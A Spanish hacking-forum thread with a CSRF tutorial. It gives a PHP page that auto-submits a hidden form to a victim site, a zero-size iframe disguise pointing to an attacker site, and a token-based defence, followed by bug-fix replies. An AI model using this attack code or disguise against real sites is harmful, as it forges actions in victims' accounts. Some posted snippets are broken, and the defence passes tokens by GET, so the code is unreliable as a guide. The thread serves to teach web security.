(http://i.imgur.com/ImHoUMq.png)
Ejemplo de ataque CSRF
Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.
Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.
Código vulnerableUn código vulnerable podría ser el siguiente:
pagina.html :
<form action="process.php" method="POST">
Texto: <input type="text" name="text" /><br><br>
<input type="submit" />
</form>
Como pueden observar, no hacemos ningún envío de token para tener una identificación única. Con lo cúal, nuestro formulario es vulnerable a ataques CSRF. En este caso, solo tenemos un simple formulario que no almacena ni registra nada, pero imagínense uno que sí. Sería de grave peligro.
process.php :
<?php
if(isset($_POST['text']) && !empty($_POST['text'])){
echo "Hola";
}
else{
echo "Error";
}
?>
Este es solo un simple proceso, el cúal verifica si el input de texto "text" no este vacío. si es así, lanza un mensaje diciendo error.
Preparando nuestro código CSRF de ataquePues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';
?>
En este código simple, solamente ejecutamos el valor ingresado en el csrf en la página web vulnerable, identificándonos como nuestro usuario víctima.
Camuflando nuestra CSRFExiste un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.
Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:
<html>
<head><title>Bienvenid@</title></head>
<body>
<h1>Bienvenid@ a mi sitio web :)</h1>
<iframe src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />
</body>
</html>
Aunque es muy claro que este se nota muy sospechoso, es cuestión de saber HTML5 y montar una index común y corriente, para luego enviarsela a la víctima.
DefensaPara poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio.
Ejemplo:token.php :
<?php
session_start();
?>
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php $_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
echo '<form action="process.php?envio_token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
Y cómo pueden observar, tenemos un identificador único y un número aleatorio cifrado en sha1 como sesión. Y luego ejecutamos el token por el método GET.
process.php :
<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
if($_GET["envio_token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
Y en este proceso, comprobamos que el token que se envío por el método GET es el mismo de la sesión que tenemos iniciada. Si es así, muestra un mensaje avisando que todo se ejecuto correctamente.
Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post ;D.
Un saludo, M5f3r0.
Muy bueno bro, se agradece!
Saludos.
Que excelente aporte! Se merece que sea posteado en el blog de underc0de!
Vere si lo hago en un rato! (por supuesto que con tus creditos!)
Muy buen trabajo bro! Da gusto leer aportes asi!
Saludos!
ANTRAX
CitarBueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post
aca:
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
echo '<form action="'.$urlvulnerable.'/process.php" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>
?>
te falto ponerle el nombre al form si no no se ejecutaria este javascript: document.csrf.submit() osea solo te falto la etiqueta name="csrf" en
<form action="'.$urlvulnerable.'/process.php" method="POST" name="csrf"> ademas no debes cerrar / al principio es decir:
<form action="'.$urlvulnerable.'/process.php" method="POST"
/> por que ya esta siendo cerrada en </form>, bueno bro nada mas eso solo comente por que al final dijistes espero que no me lo tomes a mal ya sabes que yo te estimo mucho bro un saludo :P
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
CitarBueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post
aca:
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
echo '<form action="'.$urlvulnerable.'/process.php" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>
?>
te falto ponerle el nombre al form si no no se ejecutaria este javascript: document.csrf.submit() osea solo te falto la etiqueta name="csrf" en
<form action="'.$urlvulnerable.'/process.php" method="POST" name="csrf"> ademas no debes cerrar / al principio es decir:
<form action="'.$urlvulnerable.'/process.php" method="POST" /> por que ya esta siendo cerrada en </form>, bueno bro nada mas eso solo comente por que al final dijistes espero que no me lo tomes a mal ya sabes que yo te estimo mucho bro un saludo :P
LOL, es cierto, me equivoque, gracias bro. Actualizado!
Un saludo.
2 errores mas! XD
a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo php.net nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD
ademas aca
Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
la variable que creas se llama token y aca
Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){
aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD
Aqui los que si me funcionaron
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
session_start();
if($_GET["token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
2 errores mas! XD
a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo php.net nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD
ademas aca
Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
la variable que creas se llama token y aca
Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){
aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD
Aqui los que si me funcionaron
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
session_start();
if($_GET["token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
A mí me funcionaron perfectamente con mi configuración. Pero de todas formas si tienes razón ya está actualizado.
Saludos.
Lamentablemente no pude poner todo el post completo ya que google no permite añadir la etiqueta iframe por serguridad, pero puse gran parte del post y un link para continuar leyendolo aca en el foro
http://blog.underc0de.org/2013/09/ataques-csrf-cross-site-request-forgery.html
Muchas gracias M5f3r0 por tu post! esta muy bueno!!
Saludos!
ANTRAX
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
2 errores mas! XD
a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo php.net nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD
ademas aca
Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
la variable que creas se llama token y aca
Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){
aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD
Aqui los que si me funcionaron
<html>
<head><title>Hola</title></head>
<meta charset="utf-8">
<body>
<?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
echo '</form>';
?>
</body>
</html>
<html>
<head>
<title>Proceso</title>
</head>
<body>
<?php
session_start();
if($_GET["token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
}
else{
echo 'Error';
}
?>
</body>
</html>
A mí me funcionaron perfectamente con mi configuración. Pero de todas formas si tienes razón ya está actualizado.
Saludos.
De hecho si se debe iniciar con session_start() pero como mufero dice tambien puedes no hacerlo especificando en el php.ini No tienes permitido ver enlaces.
Registrate o
Entra a tu cuenta_start = 1 con el valor 1 (true) :p
Asi que en realidad los dos tienen razon, salu2 :P
Gracias por tu mensaje, Arthusu. Usted ha explicado bien el asunto.
(http://www.freeimagehost.info/files/img/user_uploads/displayimage.php?id=3qz1tfdemqo3453418.gif)
Saludos.
En
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
[b] echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar[/b]
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';
?>
Falta poner http:// delante por que sino lo coge como una carpeta y entonces va a localhost/localhost/process.php por lo que quedaría así echo '<form action="'http://.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
otra cosa, probe lo del post y no puedo hacer que el "exploit" funcione.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Saludos.
En
<?php
$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar
[b] echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar[/b]
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';
?>
Falta poner http:// delante por que sino lo coge como una carpeta y entonces va a localhost/localhost/process.php por lo que quedaría así echo '<form action="'http://.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
otra cosa, probe lo del post y no puedo hacer que el "exploit" funcione.
No sé porque dicen que no les funciona, con mi configuración a mi me corría perfectamente sin error alguno.
Saludos.